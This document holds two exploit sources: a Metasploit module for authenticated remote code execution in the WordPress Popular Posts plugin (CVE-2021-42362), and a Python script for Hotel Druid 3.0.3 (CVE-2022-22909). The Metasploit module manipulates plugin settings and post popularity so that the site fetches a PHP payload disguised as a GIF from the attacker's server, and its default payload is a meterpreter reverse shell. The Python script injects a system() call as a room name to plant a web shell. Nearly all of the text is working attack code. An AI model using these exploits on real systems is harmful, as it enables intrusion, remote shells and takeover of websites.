<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = NormalRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::FileDropper<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HttpServer<br /> include Msf::Exploit::Remote::HTTP::Wordpress<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Wordpress Popular Posts Authenticated RCE',<br /> 'Description' => %q{<br /> This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080.<br /> The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request<br /> for the payload, prior to getting a GET request.<br /> This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2.<br /> The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server.<br /> Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget.<br /> A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once<br /> the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded<br /> which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a<br /> double extension ('.gif.php') allowing for arbitrary PHP code to be executed.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die', # msf module<br /> 'Simone Cristofaro', # edb<br /> 'Jerome Bruandet' # original analysis<br /> ],<br /> 'References' => [<br /> [ 'EDB', '50129' ],<br /> [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ],<br /> [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ],<br /> [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ],<br /> [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ],<br /> [ 'CVE', '2021-42362' ]<br /> ],<br /> 'Platform' => ['php'],<br /> 'Stance' => Msf::Exploit::Stance::Aggressive,<br /> 'Privileged' => false,<br /> 'Arch' => ARCH_PHP,<br /> 'Targets' => [<br /> [ 'Automatic Target', {}]<br /> ],<br /> 'DisclosureDate' => '2021-06-11',<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'php/meterpreter/reverse_tcp',<br /> 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger<br /> },<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],<br /> 'Reliability' => [ REPEATABLE_SESSION ]<br /> }<br /> )<br /> )<br /><br /> register_options [<br /> OptString.new('USERNAME', [true, 'Username of the account', 'admin']),<br /> OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),<br /> OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),<br /> # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560<br /> OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']),<br /> # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584<br /> OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]),<br /> ]<br /> end<br /><br /> def check<br /> return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?<br /><br /> checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3')<br /> if checkcode == CheckCode::Safe<br /> print_error('Popular Posts not a vulnerable version')<br /> end<br /> return checkcode<br /> end<br /><br /> def trigger_payload(on_disk_payload_name)<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path),<br /> 'keep_cookies' => 'true'<br /> )<br /> # loop this 5 times just incase there is a time delay in writing the file by the server<br /> (1..5).each do |i|<br /> print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5")<br /> Rex.sleep(10)<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name),<br /> 'keep_cookies' => 'true'<br /> )<br /> end<br /> if res && res.code == 404<br /> print_error('Failed to find payload, may not have uploaded correctly.')<br /> end<br /> end<br /><br /> def on_request_uri(cli, request, payload_name, post_id)<br /> if request.method == 'HEAD'<br /> print_good('Responding to initial HEAD request (passed check 1)')<br /> # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length<br /> # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes.<br /> # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught<br /> return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s })<br /> end<br /> if request.method == 'GET'<br /> on_disk_payload_name = "#{post_id}_#{payload_name}"<br /> register_file_for_cleanup(on_disk_payload_name)<br /> print_good('Responding to GET request (passed check 2)')<br /> send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif')<br /> close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions<br /> Rex.sleep(2) # wait for WP to finish all the checks it needs<br /> trigger_payload(on_disk_payload_name)<br /> end<br /> print_status("Received unexpected #{request.method} request")<br /> end<br /><br /> def check_gd_installed(cookie)<br /> vprint_status('Checking if gd is installed')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),<br /> 'method' => 'GET',<br /> 'cookie' => cookie,<br /> 'keep_cookies' => 'true',<br /> 'vars_get' => {<br /> 'page' => 'wordpress-popular-posts',<br /> 'tab' => 'debug'<br /> }<br /> )<br /> fail_with(Failure::Unreachable, 'Site not responding') unless res<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200<br /> res.body.include? ' gd'<br /> end<br /><br /> def get_wpp_admin_token(cookie)<br /> vprint_status('Retrieving wpp_admin token')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),<br /> 'method' => 'GET',<br /> 'cookie' => cookie,<br /> 'keep_cookies' => 'true',<br /> 'vars_get' => {<br /> 'page' => 'wordpress-popular-posts',<br /> 'tab' => 'tools'<br /> }<br /> )<br /> fail_with(Failure::Unreachable, 'Site not responding') unless res<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200<br /> /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body<br /> Regexp.last_match(1)<br /> end<br /><br /> def change_settings(cookie, token)<br /> vprint_status('Updating popular posts settings for images')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),<br /> 'method' => 'POST',<br /> 'cookie' => cookie,<br /> 'keep_cookies' => 'true',<br /> 'vars_get' => {<br /> 'page' => 'wordpress-popular-posts',<br /> 'tab' => 'debug'<br /> },<br /> 'vars_post' => {<br /> 'upload_thumb_src' => '',<br /> 'thumb_source' => 'custom_field',<br /> 'thumb_lazy_load' => 0,<br /> 'thumb_field' => 'wpp_thumbnail',<br /> 'thumb_field_resize' => 1,<br /> 'section' => 'thumb',<br /> 'wpp-admin-token' => token<br /> }<br /> )<br /> fail_with(Failure::Unreachable, 'Site not responding') unless res<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200<br /> fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body<br /> end<br /><br /> def clear_cache(cookie, token)<br /> vprint_status('Clearing image cache')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),<br /> 'method' => 'POST',<br /> 'cookie' => cookie,<br /> 'keep_cookies' => 'true',<br /> 'vars_get' => {<br /> 'page' => 'wordpress-popular-posts',<br /> 'tab' => 'debug'<br /> },<br /> 'vars_post' => {<br /> 'action' => 'wpp_clear_thumbnail',<br /> 'wpp-admin-token' => token<br /> }<br /> )<br /> fail_with(Failure::Unreachable, 'Site not responding') unless res<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200<br /> end<br /><br /> def enable_custom_fields(cookie, custom_nonce, post)<br /> # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it.<br /> res = send_request_cgi!(<br /> 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'),<br /> 'cookie' => cookie,<br /> 'keep_cookies' => 'true',<br /> 'method' => 'POST',<br /> 'vars_post' => {<br /> 'toggle-custom-fields-nonce' => custom_nonce,<br /> '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit",<br /> 'action' => 'toggle-custom-fields'<br /> }<br /> )<br /> /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body<br /> Regexp.last_match(1)<br /> end<br /><br /> def create_post(cookie)<br /> vprint_status('Creating new post')<br /> # get post ID and nonces<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),<br /> 'cookie' => cookie,<br /> 'keep_cookies' => 'true'<br /> )<br /> fail_with(Failure::Unreachable, 'Site not responding') unless res<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200<br /> /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body<br /> /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body<br /> /},"post":{"id":(?<post_id>\d*)/ =~ res.body<br /> if ajax_nonce.nil?<br /> print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.')<br /> /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body<br /> ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id)<br /> end<br /> unless ajax_nonce.nil?<br /> vprint_status("ajax nonce: #{ajax_nonce}")<br /> end<br /> unless wp_nonce.nil?<br /> vprint_status("wp nonce: #{wp_nonce}")<br /> end<br /> unless post_id.nil?<br /> vprint_status("Created Post: #{post_id}")<br /> end<br /> fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id<br /><br /> # publish new post<br /> vprint_status("Writing content to Post: #{post_id}")<br /> # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'method' => 'POST',<br /> 'cookie' => cookie,<br /> 'keep_cookies' => 'true',<br /> 'ctype' => 'application/json',<br /> 'accept' => 'application/json',<br /> 'vars_get' => {<br /> '_locale' => 'user',<br /> 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id)<br /> },<br /> 'data' => {<br /> 'id' => post_id,<br /> 'title' => Rex::Text.rand_text_alphanumeric(20..30),<br /> 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->",<br /> 'status' => 'publish'<br /> }.to_json,<br /> 'headers' => {<br /> 'X-WP-Nonce' => wp_nonce,<br /> 'X-HTTP-Method-Override' => 'PUT'<br /> }<br /> )<br /><br /> fail_with(Failure::Unreachable, 'Site not responding') unless res<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200<br /> fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'<br /> return post_id, ajax_nonce, wp_nonce<br /> end<br /><br /> def add_meta(cookie, post_id, ajax_nonce, payload_name)<br /> payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}"<br /> vprint_status("Adding malicious metadata for redirect to #{payload_url}")<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),<br /> 'method' => 'POST',<br /> 'cookie' => cookie,<br /> 'keep_cookies' => 'true',<br /> 'vars_post' => {<br /> '_ajax_nonce' => 0,<br /> 'action' => 'add-meta',<br /> 'metakeyselect' => 'wpp_thumbnail',<br /> 'metakeyinput' => '',<br /> 'metavalue' => payload_url,<br /> '_ajax_nonce-add-meta' => ajax_nonce,<br /> 'post_id' => post_id<br /> }<br /> )<br /> fail_with(Failure::Unreachable, 'Site not responding') unless res<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200<br /> fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-"<br /> end<br /><br /> def boost_post(cookie, post_id, wp_nonce, post_count)<br /> # redirect as needed<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'keep_cookies' => 'true',<br /> 'cookie' => cookie,<br /> 'vars_get' => { 'page_id' => post_id }<br /> )<br /> fail_with(Failure::Unreachable, 'Site not responding') unless res<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301<br /> print_status("Sending #{post_count} views to #{res.headers['Location']}")<br /> location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after><br /> (1..post_count).each do |_c|<br /> res = send_request_cgi!(<br /> 'uri' => "/#{location}",<br /> 'cookie' => cookie,<br /> 'keep_cookies' => 'true'<br /> )<br /> # just send away, who cares about the response<br /> fail_with(Failure::Unreachable, 'Site not responding') unless res<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200<br /> res = send_request_cgi(<br /> # this URL varies from the POC on EDB, and is modeled after what the browser does<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'vars_get' => {<br /> 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')<br /> },<br /> 'keep_cookies' => 'true',<br /> 'method' => 'POST',<br /> 'cookie' => cookie,<br /> 'vars_post' => {<br /> '_wpnonce' => wp_nonce,<br /> 'wpp_id' => post_id,<br /> 'sampling' => 0,<br /> 'sampling_rate' => 100<br /> }<br /> )<br /> fail_with(Failure::Unreachable, 'Site not responding') unless res<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201<br /> end<br /> fail_with(Failure::Unreachable, 'Site not responding') unless res<br /> end<br /><br /> def get_top_posts<br /> print_status('Determining post with most views')<br /> res = get_widget<br /> />(?<views>\d+) views</ =~ res.body<br /> views = views.to_i<br /> print_status("Top Views: #{views}")<br /> views += 5 # make us the top post<br /> unless datastore['VISTS'].nil?<br /> print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}")<br /> views = datastore['VISITS']<br /> end<br /> views<br /> end<br /><br /> def get_widget<br /> # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond<br /> # which then would kill the exploit, so in this case we just keep trying.<br /> (1..10).each do |_|<br /> @res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path),<br /> 'keep_cookies' => 'true'<br /> )<br /> break unless @res.nil?<br /> end<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200<br /> /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body<br /> # load the widget directly<br /> (1..10).each do |_|<br /> @res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id),<br /> 'keep_cookies' => 'true',<br /> 'vars_get' => {<br /> 'is_single' => 0<br /> }<br /> )<br /> break unless @res.nil?<br /> end<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200<br /> @res<br /> end<br /><br /> def exploit<br /> fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'<br /> cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])<br /><br /> if cookie.nil?<br /> vprint_error('Invalid login, check credentials')<br /> return<br /> end<br /><br /> payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php"<br /> vprint_status("Payload file name: #{payload_name}")<br /><br /> fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie)<br /> post_count = get_top_posts<br /><br /> # we dont need to pass the cookie anymore since its now saved into http client<br /> token = get_wpp_admin_token(cookie)<br /> vprint_status("wpp_admin_token: #{token}")<br /> change_settings(cookie, token)<br /> clear_cache(cookie, token)<br /> post_id, ajax_nonce, wp_nonce = create_post(cookie)<br /> print_status('Starting web server to handle request for image payload')<br /> start_service({<br /> 'Uri' => {<br /> 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) },<br /> 'Path' => "/#{payload_name}"<br /> }<br /> })<br /><br /> add_meta(cookie, post_id, ajax_nonce, payload_name)<br /> boost_post(cookie, post_id, wp_nonce, post_count)<br /> print_status('Waiting 90sec for cache refresh by server')<br /> Rex.sleep(90)<br /> print_status('Attempting to force loading of shell by visiting to homepage and loading the widget')<br /> res = get_widget<br /> print_good('We made it to the top!') if res.body.include? payload_name<br /> # if res.body.include? datastore['SRVHOSTNAME']<br /> # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.")<br /> # end<br /> # at this point, we rely on our web server getting requests to make the rest happen<br /> end<br />end<br /></code></pre>
<pre><code># Exploit Title: Hotel Druid 3.0.3 - Remote Code Execution (RCE)<br /># Date: 05/01/2022<br /># Exploit Author: 0z09e (https://twitter.com/0z09e)<br /># Vendor Homepage: https://www.hoteldruid.com/<br /># Software Link: https://www.hoteldruid.com/download/hoteldruid_3.0.3.tar.gz<br /># Version: 3.0.3<br /># CVE : CVE-2022-22909<br /><br />#!/usr/bin/python3<br />import requests<br />import argparse<br /><br />def login( target , username = "" , password = "", noauth=False):<br /> login_data = {<br /> "vers_hinc" : "1",<br /> "nome_utente_phpr" : username,<br /> "password_phpr" : password<br /> } <br /> if not noauth:<br /> login_req = requests.post(f"{target}/inizio.php" , data=login_data , verify=False )<br /> if '<a class="nav" id="nb_men" href="./inizio.php?id_sessione=' in login_req.text:<br /> token = login_req.text.split('<a class="nav" id="nb_men" href="./inizio.php?id_sessione=')[1].split('">&nbsp;<b>')[0]<br /> anno = login_req.text.split('<input type="hidden" name="anno" value="')[1].split('">')[0]<br /> ret_data = {"token" : token , "anno" : anno}<br /> #print("ret data" + ret_data)<br /> return ret_data<br /> else:<br /> return False<br /> else:<br /> login_req = requests.get(f"{target}/inizio.php" , verify=False )<br /> try:<br /> anno = login_req.text.split('<input type="hidden" name="anno" value="')[1].split('">')[0]<br /> token = ""<br /> ret_data = {"token" : token , "anno" : anno}<br /> return ret_data<br /> except:<br /> return False<br /><br />def check_privilege(target , anno , token=""):<br /> priv_req = requests.get(f"{target}/visualizza_tabelle.php?id_sessione={token}&tipo_tabella=appartamenti" , verify=False)<br /> #print(priv_req.text)<br /> if "Modify" in priv_req.text:<br /> return True<br /> else:<br /> return False<br /><br />def add_room(target , anno , token=""):<br /> add_room_data = { <br /> "anno": anno,<br /> "id_sessione": token,<br /> "n_app":"{${system($_REQUEST['cmd'])}}",<br /> "crea_app":"SI",<br /> "crea_letti":"",<br /> "n_letti":"",<br /> "tipo_tabella":"appartamenti"<br /> }<br /> add_req = requests.post(f"{target}/visualizza_tabelle.php" , data=add_room_data , verify=False)<br /> #print(add_req.text)<br /> if "has been added" in add_req.text:<br /> return True<br /> else:<br /> return False<br />def test_code_execution(target):<br /> code_execution_req = requests.get(f"{target}/dati/selectappartamenti.php?cmd=id")<br /> if "uid=" in code_execution_req.text:<br /> return code_execution_req.text.split("\n")[0]<br /> else:<br /> return False<br /><br /><br />def main():<br /><br /> banner = """\n /$$ /$$ /$$ /$$ /$$$$$$$ /$$ /$$<br />| $$ | $$ | $$ | $$ | $$__ $$ |__/ | $$<br />| $$ | $$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ | $$ \ $$ /$$$$$$ /$$ /$$ /$$ /$$$$$$$<br />| $$$$$$$$ /$$__ $$|_ $$_/ /$$__ $$| $$ | $$ | $$ /$$__ $$| $$ | $$| $$ /$$__ $$<br />| $$__ $$| $$ \ $$ | $$ | $$$$$$$$| $$ | $$ | $$| $$ \__/| $$ | $$| $$| $$ | $$<br />| $$ | $$| $$ | $$ | $$ /$$| $$_____/| $$ | $$ | $$| $$ | $$ | $$| $$| $$ | $$<br />| $$ | $$| $$$$$$/ | $$$$/| $$$$$$$| $$ | $$$$$$$/| $$ | $$$$$$/| $$| $$$$$$$<br />|__/ |__/ \______/ \___/ \_______/|__/ |_______/ |__/ \______/ |__/ \_______/\n\nExploit By - 0z09e (https://twitter.com/0z09e)\n\n"""<br /> <br /><br /> parser = argparse.ArgumentParser()<br /> req_args = parser.add_argument_group('required arguments')<br /> req_args.add_argument("-t" ,"--target" , help="Target URL. Example : http://10.20.30.40/path/to/hoteldruid" , required=True)<br /> req_args.add_argument("-u" , "--username" , help="Username" , required=False)<br /> req_args.add_argument("-p" , "--password" , help="password", required=False)<br /> req_args.add_argument("--noauth" , action="store_true" , default=False , help="If No authentication is required to access the dashboard", required=False)<br /> args = parser.parse_args() <br /><br /> target = args.target<br /> if target[-1] == "/":<br /> target = target[:-1]<br /> noauth = args.noauth<br /><br /> username = args.username<br /> password = args.password<br /><br /> if noauth == False and (username == None or password == None):<br /> print('[-] Please provide the authentication method.' )<br /> quit()<br /><br /> print(banner)<br /> if not noauth:<br /> print(f"[*] Logging in with the credential {username}:{password}")<br /> login_result = login(username = username , password = password , target = target)<br /> if login_result != False:<br /> token = login_result.get('token')<br /> anno = login_result.get('anno')<br /> else:<br /> print("[-] Login failed, Check your credential or check if login is required or not .")<br /> quit()<br /> else:<br /> print('[*] Trying to access the Dashboard.')<br /> login_result = login(username = username , password = password , target = target , noauth=True)<br /> if login_result != False:<br /> token = login_result.get('token')<br /> anno = login_result.get('anno') <br /> else:<br /> print('[-] Unable to access the dashboard, Maybe the dashboard is protected with credential.')<br /> exit()<br /> print("[*] Checking the privilege of the user.")<br /> if check_privilege(target= target , token=token , anno=anno):<br /> print("[+] User has the privilege to add room.")<br /> else:<br /> print("[-] User doesn't have the privilege to add room.")<br /> exit()<br /> print("[*] Adding a new room.")<br /> if add_room(target = target , anno=anno , token=token):<br /> print('[+] Room has been added successfully.')<br /> else:<br /> print('[-] Unknown error occured, unable to add room. Maybe the room has already been added')<br /> exit()<br /> print('[*] Testing code exection')<br /> output = test_code_execution(target = target)<br /> if output != False:<br /> print(f"[+] Code executed successfully, Go to {target}/dati/selectappartamenti.php and execute the code with the parameter 'cmd'.")<br /> print(f'[+] Example : {target}/dati/selectappartamenti.php?cmd=id')<br /> print(f"[+] Example Output : {output}")<br /> exit()<br /> else:<br /> print(f"[-] Code execution failed. If the Target is Windows, Check {target}/dati/selectappartamenti.php and try execute the code with the parameter 'cmd'. Example : {target}/dati/selectappartamenti.php?cmd=hostname")<br /> exit()<br />main()<br /> <br /><br /></code></pre>